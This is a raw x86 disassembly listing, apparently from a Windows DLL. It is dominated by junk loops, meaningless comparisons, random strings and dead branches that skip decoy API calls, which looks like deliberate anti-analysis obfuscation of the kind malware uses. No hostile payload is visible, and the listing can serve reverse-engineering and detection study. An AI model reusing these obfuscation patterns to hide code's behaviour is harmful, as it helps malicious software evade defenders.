mov dword [ebp - 0xa64], eax
mov dword [ebp - 0xa60], edx
push dword [ebp - 0xa60]
push dword [ebp - 0xa64]
mov ecx, 0x1007ab78
call fcn.10001bfe
jmp 0x1003ce10
jmp 0x1003cdee
mov dword [ebp - 0x2ec], 0
jmp 0x1003ce75
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 2
jge 0x1003ce94
push dword [ebp - 0x2ec]
lea ecx, [ebp - 0xc78]
call fcn.1000f063
and dword [eax], 0
jmp 0x1003ce68
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0x670], 0x4560
jge 0x1003ceb4
mov edx, dword [ebp - 0x9cc]
mov ecx, 0x1007ab78
call fcn.100039fb
jmp 0x1003ced0
mov dword [ebp - 4], 0x21
jmp 0x1003cee0
mov dword [ebp - 0x14], 0
jmp 0x1003cef0
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x1003d0aa
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp + ecx*4 - 0x8f0]
cmp ecx, dword [ebp + eax - 0x8f0]
jl 0x1003cf1f
mov dword [ebp - 0x3fc], 1
jmp 0x1003cf26
and dword [ebp - 0x3fc], 0
cmp dword [ebp - 0xa4], 0x5412
jge 0x1003cf3e
mov dword [ebp - 0x8a8], 1
jmp 0x1003cf45
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x8a8], eax
jge 0x1003cf5f
mov dword [ebp - 0x3f8], 1
jmp 0x1003cf66
and dword [ebp - 0x3f8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8f0]
cmp dword [ebp - 0x3f8], eax
jne 0x1003cf90
cmp dword [ebp - 0xa4], 0
je 0x1003cf90
mov dword [ebp - 0xb0c], 1
jmp 0x1003cf97
and dword [ebp - 0xb0c], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x8f0]
mov dword [ebp - 0xee8], eax
mov eax, dword [ebp - 0xa4]
add eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x3fc], eax
je 0x1003cfc7
mov dword [ebp - 0x404], 1
jmp 0x1003cfce
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x404], eax
jne 0x1003cfe8
mov dword [ebp - 0x9d4], 1
jmp 0x1003cfef
and dword [ebp - 0x9d4], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x8f0]
mov dword [ebp - 0xebc], eax
push 0
lea ecx, [ebp - 0xc78]
call fcn.1000f063
mov dword [eax], 5
mov dword [ebp - 0xa4], 0x585c2c10
cmp dword [ebp - 0xa4], 5
je 0x1003d02e
mov eax, 0x3e70
test eax, eax
jne 0x1003d040
mov eax, 0x6816
test eax, eax
jne 0x1003d040
and dword [ebp - 0x40c], 0
jmp 0x1003d04a
mov dword [ebp - 0x40c], 1
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x8f0]
cmp dword [ebp - 0x40c], eax
jne 0x1003d068
mov dword [ebp - 0x414], 1
jmp 0x1003d06f
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x8f0]
cmp dword [ebp - 0x414], eax
jg 0x1003d08d
mov dword [ebp - 0x41c], 1
jmp 0x1003d094
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x41c]
sub eax, 0x4e22
mov dword [ebp - 0x3c4], eax
jmp 0x1003cee9
mov byte [ebp - 0xb7], 0
movzx eax, byte [ebp - 0xb7]
test eax, eax
je 0x1003d0ce
push 0xe8
push 0x884
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc78]
call fcn.1000f047
jmp 0x1003d1b9
mov dword [ebp - 0xb64], 0x2ffabe4b
cmp dword [ebp - 0x3c4], 0x1ea52fa5
je 0x1003d104
mov dword [ebp - 0x424], 1
jmp 0x1003d10b
and dword [ebp - 0x424], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8f0]
mov dword [ebp - 0xcec], eax
mov eax, dword [ebp - 0x12c]
cmp dword [ebp - 0x424], eax
jg 0x1003d138
mov dword [ebp - 0x42c], 1
jmp 0x1003d13f
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0xb64]
cmp dword [ebp - 0x42c], eax
jge 0x1003d162
mov eax, 0xf96394a
test eax, eax
je 0x1003d162
mov dword [ebp - 0x434], 1
jmp 0x1003d169
and dword [ebp - 0x434], 0
cmp dword [ebp - 0x434], 2
ja 0x1003d17e
mov dword [ebp - 0x43c], 1
jmp 0x1003d185
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x43c]
add eax, 0x6e99
cmp eax, 0xbd68e480
jne 0x1003d1a6
mov dword [ebp - 0x444], 1
jmp 0x1003d1ad
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x3c4], eax
push 2
lea ecx, [ebp - 0x180]
call fcn.1000efc4
mov dword [ebp - 4], 0x24
mov dword [ebp - 0x2fc], 0x3629aa8
mov dword [ebp - 0xc4], 5
mov dword [ebp - 0x9f0], 0x9c1c73b0
mov dword [ebp - 0x44c], 0x3784
mov dword [ebp - 0x9dc], str.soeh_vsi_blizawhmj_xgzys_tlppkjtjs_kfes_tjiuyv_zxladv_xoroiyn
cmp dword [ebp - 0x44c], 0x385e
jle 0x1003d2ba
and dword [ebp - 0x284], 0
jmp 0x1003d225
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0xbe2
jge 0x1003d2ba
and dword [ebp - 0x27c], 0
jmp 0x1003d24b
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x2715
jge 0x1003d2b5
and dword [ebp - 0x344], 0
jmp 0x1003d26d
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x4b1a
jge 0x1003d2b3
mov ecx, dword [ebp - 0x27c]
imul ecx, dword [ebp - 0x344]
mov eax, dword [ebp - 0x284]
sar eax, cl
cdq
mov dword [ebp - 0xa70], eax
mov dword [ebp - 0xa6c], edx
push dword [ebp - 0xa6c]
push dword [ebp - 0xa70]
mov ecx, 0x1007ab78
call fcn.10001bfe
jmp 0x1003d260
jmp 0x1003d23e
jmp 0x1003d218
mov dword [ebp - 0xb1c], 0xffffffff
mov byte [ebp - 4], 0x25
cmp dword [ebp - 0x44c], 0x33af
jge 0x1003d2e4
mov edx, dword [ebp - 0x9dc]
mov ecx, 0x1007ab78
call fcn.100039fb
jmp 0x1003d300
mov dword [ebp - 4], 0x24
jmp 0x1003d310
mov dword [ebp - 0x2f4], 0
jmp 0x1003d329
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 2
jge 0x1003d34b
push dword [ebp - 0x2f4]
lea ecx, [ebp - 0x180]
call fcn.1000f063
mov dword [eax], 8
jmp 0x1003d31c
push 0
lea ecx, [ebp - 0x180]
call fcn.1000f063
cmp dword [eax], 0
je 0x1003d4a2
mov byte [ebp - 0xde], 0
mov dword [ebp - 0x454], 0x2b98
mov dword [ebp - 0x9e4], str.gljvtx_sjcsck_xlo_xqv_velakw_zevrv
cmp dword [ebp - 0x454], 0x2c73
jle 0x1003d433
and dword [ebp - 0x28c], 0
jmp 0x1003d3a2
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x207a
jge 0x1003d433
and dword [ebp - 0x32c], 0
jmp 0x1003d3c8
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x4f17
jge 0x1003d42e
mov eax, dword [ebp - 0x28c]
cdq
idiv dword [ebp - 0x32c]
mov eax, edx
cdq
mov dword [ebp - 0xa7c], eax
mov dword [ebp - 0xa78], edx
push dword [ebp - 0xa78]
push dword [ebp - 0xa7c]
lea ecx, [ebp - 0x1080]
call fcn.10001a55
pop ecx
pop ecx
mov dword [ebp - 0xb14], eax
mov ecx, dword [ebp - 0xb14]
call fcn.10001bde
push eax
call fcn.10047d34
pop ecx
lea ecx, [ebp - 0x1080]
call fcn.10001bd4
jmp 0x1003d3bb
jmp 0x1003d395
movzx eax, byte [ebp - 0xde]
test eax, eax
je 0x1003d455
push 0x391
push 0x1fb9
push 0
push 0xd0e
call dword [sym.imp.USER32.dll_CreateCaret]
mov byte [ebp - 4], 0x27
cmp dword [ebp - 0x454], 0x2904
jge 0x1003d471
push dword [ebp - 0x9e4]
call fcn.10047d34
pop ecx
jmp 0x1003d48d
mov dword [ebp - 4], 0x24
jmp 0x1003d49d
jmp 0x1003d611
mov dword [ebp - 0x3ec], 0
mov dword [ebp - 0x45c], 0xc03809d0
mov dword [ebp - 0x46c], 0xa7bc
mov dword [ebp - 0x294], 0
jmp 0x1003d4d9
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 2
jge 0x1003d4f5
mov eax, dword [ebp - 0x294]
mov dword [ebp + eax*4 - 0xce4], 0xf5fa3187
jmp 0x1003d4cc
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0
je 0x1003d572
push 0
lea ecx, [ebp - 0x180]
call fcn.1000f063
cmp dword [eax], 0
jne 0x1003d547
push 1
lea ecx, [ebp - 0x180]
call fcn.1000f063
mov esi, eax
push 0
lea ecx, [ebp - 0x180]
call fcn.1000f063
mov eax, dword [eax]
cmp eax, dword [esi]
jg 0x1003d547
and dword [ebp - 0x464], 0
jmp 0x1003d551
mov dword [ebp - 0x464], 1
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0
je 0x1003d572
mov dword [ebp - 0x474], 1
jmp 0x1003d579
and dword [ebp - 0x474], 0
push 0
lea ecx, [ebp - 0x180]
call fcn.1000f063
mov ecx, dword [ebp - 0x474]
cmp ecx, dword [eax]
jle 0x1003d59c
mov dword [ebp - 0x3a4], 1
jmp 0x1003d5a3
and dword [ebp - 0x3a4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3a4]
mov dword [ebp + eax - 0xce4], ecx
mov eax, dword [ebp - 0x3ec]
cmp eax, dword [ebp - 0x3a4]
jge 0x1003d5d0
mov dword [ebp - 0xba0], 1
jmp 0x1003d5d7
and dword [ebp - 0xba0], 0
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0xd44], eax
push 0
lea ecx, [ebp - 0x180]
call fcn.1000f063
push 1
lea ecx, [ebp - 0x180]
call fcn.1000f063
mov eax, dword [eax]
mov dword [ebp - 0xc4], eax
mov esi, dword [ebp - 0xc4]
push 0
lea ecx, [ebp - 0x180]
call fcn.1000f063
cmp dword [eax], esi
jne 0x1003d634
mov dword [ebp - 0x484], 1
jmp 0x1003d63b
and dword [ebp - 0x484], 0
push 0
lea ecx, [ebp - 0x180]
call fcn.1000f063
push 1
lea ecx, [ebp - 0x180]
call fcn.1000f063
cmp dword [ebp - 0xc4], 0
mov dword [ebp - 0x2fc], 0xae055a24
mov esi, dword [ebp - 0xc4]
mov edi, dword [ebp - 0x2fc]
push 0
lea ecx, [ebp - 0x180]
call fcn.1000f063
sub edi, dword [eax]
cmp edi, esi
jle 0x1003d691
mov dword [ebp - 0x47c], 1
jmp 0x1003d698
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0x47c], eax
jne 0x1003d6b2
mov dword [ebp - 0x300], 0
mov dword [ebp - 0x128], 0
cmp dword [ebp - 0x300], 0
je 0x1003fbcc
cmp dword [ebp - 0x300], 0
je 0x1003fbcc
mov dword [ebp - 0x940], 1
jmp 0x1003fbd3
and dword [ebp - 0x940], 0
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x128]
jg 0x1003fbed
mov dword [ebp - 0x76c], 1
jmp 0x1003fbf4
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x300]
add eax, dword [ebp - 0x128]
imul eax, dword [ebp - 0x76c]
cmp eax, dword [ebp - 0x128]
jge 0x1003fc1b
mov dword [ebp - 0x774], 1
jmp 0x1003fc22
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x128]
imul eax, dword [ebp - 0x774]
test eax, eax
je 0x1003fc5e
mov dword [ebp - 0x300], 0x67e6aa16
mov byte [ebp - 0xb5], 0
movzx eax, byte [ebp - 0xb5]
test eax, eax
je 0x1003fc5c
push 0
push 0x15a1
call dword [sym.imp.USER32.dll_ClientToScreen]
jmp 0x1003fc8b
mov dword [ebp - 0x3a0], 3
mov dword [ebp - 0x948], 8
mov eax, dword [ebp - 0x3a0]
dec eax
mov dword [ebp - 0x3a0], eax
mov eax, dword [ebp - 0x3a0]
mov dword [ebp - 0x948], eax
cmp dword [0x110921f4], 0
je 0x10040848
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x3a8], 0xee41b66b
mov dword [ebp - 0x3b0], 0xfffffffb
mov dword [ebp - 0x7c4], 0x764361a6
mov dword [ebp - 0xd80], 0x6d0811fc
mov dword [ebp - 0x60], 0
jmp 0x1003fcd7
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x12
jle 0x1003fe3a
mov dword [ebp - 0x130], 0xffffffff
mov dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x130]
jg 0x1003fd0c
mov dword [ebp - 0x77c], 1
jmp 0x1003fd13
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x60]
je 0x1003fd27
mov dword [ebp - 0x784], 1
jmp 0x1003fd2e
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x77c]
cmp eax, dword [ebp - 0x784]
jg 0x1003fd48
mov dword [ebp - 0x78c], 1
jmp 0x1003fd4f
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0x78c]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0x3b0]
jl 0x1003fd75
mov dword [ebp - 0x794], 1
jmp 0x1003fd7c
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x794], eax
jne 0x1003fd96
mov dword [ebp - 0x79c], 1
jmp 0x1003fd9d
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x3a8], eax
mov eax, dword [ebp - 0x3a8]
cmp eax, dword [ebp - 0x79c]
jg 0x1003fdc0
mov dword [ebp - 0x7a4], 1
jmp 0x1003fdc7
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x7a4]
sub eax, dword [ebp - 0x130]
jne 0x1003fde7
cmp dword [ebp - 0x130], 0
jne 0x1003fde7
and dword [ebp - 0x7ac], 0
jmp 0x1003fdf1
mov dword [ebp - 0x7ac], 1
cmp dword [ebp - 0x7ac], 1
ja 0x1003fe06
mov dword [ebp - 0x7b4], 1
jmp 0x1003fe0d
and dword [ebp - 0x7b4], 0
cmp dword [ebp - 0x7b4], 5
jne 0x1003fe22
mov dword [ebp - 0x7bc], 1
jmp 0x1003fe29
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x7bc]
mov dword [ebp - 0x950], eax
jmp 0x1003fcd0
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x7c4], eax
mov eax, dword [ebp - 0x7c4]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x978], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x990], eax
mov dword [ebp - 0xcc], 0xf5540d7f
mov dword [ebp - 0x7cc], 0x621ec218
mov dword [ebp - 0x138], 0x902314af
mov dword [ebp - 0x3b8], 0xedb7758b
mov dword [ebp - 0xcc], 0
jmp 0x1003feab
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x10
jg 0x10040174
push 3
lea ecx, [ebp - 0xb90]
call fcn.1000efc4
mov dword [ebp - 4], 0x40
mov dword [ebp - 0xb4], 0xffffffff
mov dword [ebp - 0x308], 0
jmp 0x1003feef
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 3
jge 0x1003ff11
push dword [ebp - 0x308]
lea ecx, [ebp - 0xb90]
call fcn.1000f063
mov dword [eax], 0xfffffffa
jmp 0x1003fee2
push 2
lea ecx, [ebp - 0xb90]
call fcn.1000f063
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x7cc], 0xf4f88039
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0x138], 0
jne 0x1003ff57
mov eax, 0x3a0f
test eax, eax
jne 0x1003ff57
and dword [ebp - 0x7d4], 0
jmp 0x1003ff61
mov dword [ebp - 0x7d4], 1
mov eax, dword [ebp - 0x7d4]
inc eax
imul eax, eax, 0xfffb
cmp eax, dword [ebp - 0x138]
jne 0x1003ff88
cmp dword [ebp - 0xcc], 0
jne 0x1003ff88
and dword [ebp - 0x7dc], 0
jmp 0x1003ff92
mov dword [ebp - 0x7dc], 1
mov eax, dword [ebp - 0x7dc]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x3b8], eax
mov esi, dword [ebp - 0x3b8]
push 2
lea ecx, [ebp - 0xb90]
call fcn.1000f063
cmp esi, dword [eax]
jl 0x1003ffcd
mov dword [ebp - 0x7e4], 1
jmp 0x1003ffd4
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x7e4]
sub eax, dword [ebp - 0xcc]
jne 0x1003ffee
mov dword [ebp - 0x7ec], 1
jmp 0x1003fff5
and dword [ebp - 0x7ec], 0
cmp dword [ebp - 0x7ec], 0
jne 0x10040010
cmp dword [ebp - 0xcc], 0
jne 0x10040010
and dword [ebp - 0x7f4], 0
jmp 0x1004001a
mov dword [ebp - 0x7f4], 1
cmp dword [ebp - 0x7f4], 0x1ea6
je 0x10040032
mov dword [ebp - 0x7fc], 1
jmp 0x10040039
and dword [ebp - 0x7fc], 0
cmp dword [ebp - 0x7fc], 0x9dc86695
jbe 0x10040107
mov dword [ebp - 0x960], 0xffff
cmp dword [ebp - 0xb4], 0xe072
jne 0x1004006b
mov dword [ebp - 0x804], 1
jmp 0x10040072
and dword [ebp - 0x804], 0
push 0
lea ecx, [ebp - 0xb90]
call fcn.1000f063
mov ecx, dword [ebp - 0x804]
cmp ecx, dword [eax]
je 0x10040095
mov dword [ebp - 0x958], 1
jmp 0x1004009c
and dword [ebp - 0x958], 0
imul eax, dword [ebp - 0x960], 0xfffe
cmp eax, dword [ebp - 0x138]
jl 0x100400ba
mov dword [ebp - 0x80c], 1
jmp 0x100400c1
and dword [ebp - 0x80c], 0
cmp dword [ebp - 0x80c], 0xffffffff
ja 0x100400d6
mov dword [ebp - 0x814], 1
jmp 0x100400dd
and dword [ebp - 0x814], 0
cmp dword [ebp - 0x814], 0xfffffff6
jg 0x100400f2
mov dword [ebp - 0x968], 1
jmp 0x100400f9
and dword [ebp - 0x968], 0
mov eax, dword [ebp - 0x3b8]
mov dword [ebp - 0xb4], eax
jmp 0x10040160
mov dword [ebp - 0x970], 6
mov dword [ebp - 0xb4], 0
jmp 0x1004012a
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 2
jg 0x1004013f
mov dword [ebp - 0x970], 0x65d3e8ea
jmp 0x1004011d
mov byte [ebp - 0xe1], 0
movzx eax, byte [ebp - 0xe1]
test eax, eax
je 0x10040160
push 0
push 0xd08
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb90]
call fcn.1000f047
jmp 0x1003fe9e
mov eax, dword [ebp - 0x978]
mov dword [ebp - 0x9a0], eax
mov dword [ebp - 0x81c], 0x3562
mov dword [ebp - 0x980], str.wymxtuxd_isox_mvxmdk_sve_zmbyeiq_avfled
cmp dword [ebp - 0x81c], 0x374b
jle 0x10040282
and dword [ebp - 0x320], 0
jmp 0x100401ba
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x3d1b
jge 0x10040282
and dword [ebp - 0x328], 0
jmp 0x100401e0
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x87a
jge 0x1004027d
and dword [ebp - 0x310], 0
jmp 0x10040206
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x7a9e
jge 0x10040278
and dword [ebp - 0x318], 0
jmp 0x10040228
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x591f
jge 0x10040276
mov ecx, dword [ebp - 0x310]
and ecx, dword [ebp - 0x318]
mov eax, dword [ebp - 0x320]
cdq
idiv dword [ebp - 0x328]
xor edx, ecx
mov eax, edx
cdq
mov dword [ebp - 0xadc], eax
mov dword [ebp - 0xad8], edx
push dword [ebp - 0xad8]
push dword [ebp - 0xadc]
mov ecx, 0x1007ab78
call fcn.10001bfe
jmp 0x1004021b
jmp 0x100401f9
jmp 0x100401d3
jmp 0x100401ad
mov dword [ebp - 4], 0x41
cmp dword [ebp - 0x81c], 0x3445
jge 0x100402a5
mov edx, dword [ebp - 0x980]
mov ecx, 0x1007ab78
call fcn.100039fb
jmp 0x100402c1
or dword [ebp - 4], 0xffffffff
jmp 0x100402cb
push 3
lea ecx, [ebp - 0x92c]
call fcn.1000efc4
mov dword [ebp - 4], 0x43
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0x988], 0xa2fafd11
mov dword [ebp - 0x330], 0
jmp 0x1004030c
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 3
jge 0x1004032e
push dword [ebp - 0x330]
lea ecx, [ebp - 0x92c]
call fcn.1000f063
mov dword [eax], 0xf70ad6f2
jmp 0x100402ff
mov byte [ebp - 0xe2], 0
movzx eax, byte [ebp - 0xe2]
test eax, eax
je 0x10040348
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov dword [ebp - 0xa8], 2
jmp 0x10040361
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jl 0x100403d4
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x92c]
call fcn.1000f063
mov esi, eax
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x92c]
call fcn.1000f063
mov eax, dword [eax]
mov dword [esi], eax
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x92c]
call fcn.1000f063
mov dword [ebp - 0x824], eax
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x92c]
call fcn.1000f063
mov ecx, dword [ebp - 0x824]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x824]
mov eax, dword [eax]
mov dword [ebp - 0x988], eax
jmp 0x10040354
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x92c]
call fcn.1000f047
mov eax, dword [ebp - 0x990]
mov dword [ebp - 0x998], eax
mov dword [ebp - 0xc58], 0x198a
mov dword [ebp - 0xc54], 0x198a
mov dword [ebp - 0xc50], 0x198a
mov dword [ebp - 0xc4c], 0x198a
lea ecx, [ebp - 0x3cd]
call fcn.1000f072
push eax
lea eax, [ebp - 0xc48]
push eax
lea eax, [ebp - 0xc58]
push eax
lea ecx, [ebp - 0xf38]
call fcn.1000f075
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf14]
call fcn.1000f021
mov dword [ebp - 0x338], 0
jmp 0x10040465
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 2
jge 0x10040481
mov eax, dword [ebp - 0x338]
mov dword [ebp + eax*4 - 0x908], 0x885c6f1b
jmp 0x10040458
mov byte [ebp - 0xd0], 0
movzx eax, byte [ebp - 0xd0]
test eax, eax
je 0x100404a7
push 0
push 0x153
push 0x1840
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x908], 3
jmp 0x100404d5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x908]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x908], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x908], 0
jl 0x10040508
mov byte [ebp - 0xe4], 0
movzx eax, byte [ebp - 0xe4]
test eax, eax
je 0x10040506
push 0x11f7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
jmp 0x100404ba
lea ecx, [ebp - 0xf14]
call fcn.1000f047
push dword [ebp - 0x998]
push dword [ebp - 0x9a0]
call dword [0x110921f4]
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x83c], 3
push 1
lea ecx, [ebp - 0x914]
call fcn.1000efc4
mov dword [ebp - 4], 0x44
mov dword [ebp - 0x82c], 0x43d0
mov dword [ebp - 0x9a8], str.ojfnsfilw_wqlget_nep_hxg_ywbpec
cmp dword [ebp - 0x82c], 0x4563
jle 0x1004064a
and dword [ebp - 0x358], 0
jmp 0x10040583
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x5ed0
jge 0x1004064a
and dword [ebp - 0x340], 0
jmp 0x100405a9
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x1ed5
jge 0x10040645
and dword [ebp - 0x348], 0
jmp 0x100405cf
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x201b
jge 0x10040640
and dword [ebp - 0x350], 0
jmp 0x100405f1
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x1df7
jge 0x1004063e
mov eax, dword [ebp - 0x340]
mov ecx, dword [ebp - 0x348]
shl eax, cl
mov ecx, dword [ebp - 0x350]
sar eax, cl
and eax, dword [ebp - 0x358]
cdq
mov dword [ebp - 0xae8], eax
mov dword [ebp - 0xae4], edx
push dword [ebp - 0xae4]
push dword [ebp - 0xae8]
mov ecx, 0x1007ab78
call fcn.10001bfe
jmp 0x100405e4
jmp 0x100405c2
jmp 0x1004059c
jmp 0x10040576
mov dword [ebp - 0x854], 0xbf4d39d9
mov byte [ebp - 4], 0x45
cmp dword [ebp - 0x82c], 0x405f
jge 0x10040674
mov edx, dword [ebp - 0x9a8]
mov ecx, 0x1007ab78
call fcn.100039fb
jmp 0x10040690
mov dword [ebp - 4], 0x44
jmp 0x100406a0
mov dword [ebp - 0x9b0], 0x5411
mov dword [ebp - 0x874], 0xbed562b9
mov dword [ebp - 0x9b8], 0
mov dword [ebp - 0x360], 0
jmp 0x100406d7
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 1
jge 0x100406f9
push dword [ebp - 0x360]
lea ecx, [ebp - 0x914]
call fcn.1000f063
mov dword [eax], 0xc044
jmp 0x100406ca
mov eax, dword [ebp - 0x83c]
mov dword [ebp - 0xe50], eax
push 0
lea ecx, [ebp - 0x914]
call fcn.1000f063
cmp dword [eax], 1
jge 0x10040723
mov dword [ebp - 0x834], 1
jmp 0x1004072a
and dword [ebp - 0x834], 0
push 0
lea ecx, [ebp - 0x914]
call fcn.1000f063
mov ecx, dword [ebp - 0x834]
cmp ecx, dword [eax]
jle 0x1004074d
mov dword [ebp - 0x844], 1
jmp 0x10040754
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x83c]
cmp dword [ebp - 0x844], eax
jl 0x1004076e
mov dword [ebp - 0x84c], 1
jmp 0x10040775
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0x84c]
mov dword [ebp - 0x854], eax
cmp dword [ebp - 0x854], 7
jae 0x10040796
mov dword [ebp - 0x85c], 1
jmp 0x1004079d
and dword [ebp - 0x85c], 0
push 0
lea ecx, [ebp - 0x914]
call fcn.1000f063
mov ecx, dword [ebp - 0x85c]
cmp ecx, dword [eax]
jg 0x100407cf
push 0
lea ecx, [ebp - 0x914]
call fcn.1000f063
cmp dword [eax], 0
jne 0x100407cf
and dword [ebp - 0x864], 0
jmp 0x100407d9
mov dword [ebp - 0x864], 1
mov eax, dword [ebp - 0x9b0]
cmp dword [ebp - 0x864], eax
jl 0x100407f3
mov dword [ebp - 0x86c], 1
jmp 0x100407fa
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x86c]
mov dword [ebp - 0x874], eax
cmp dword [ebp - 0x874], 0xb748
jl 0x1004081e
mov dword [ebp - 0x87c], 1
jmp 0x10040825
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0x87c]
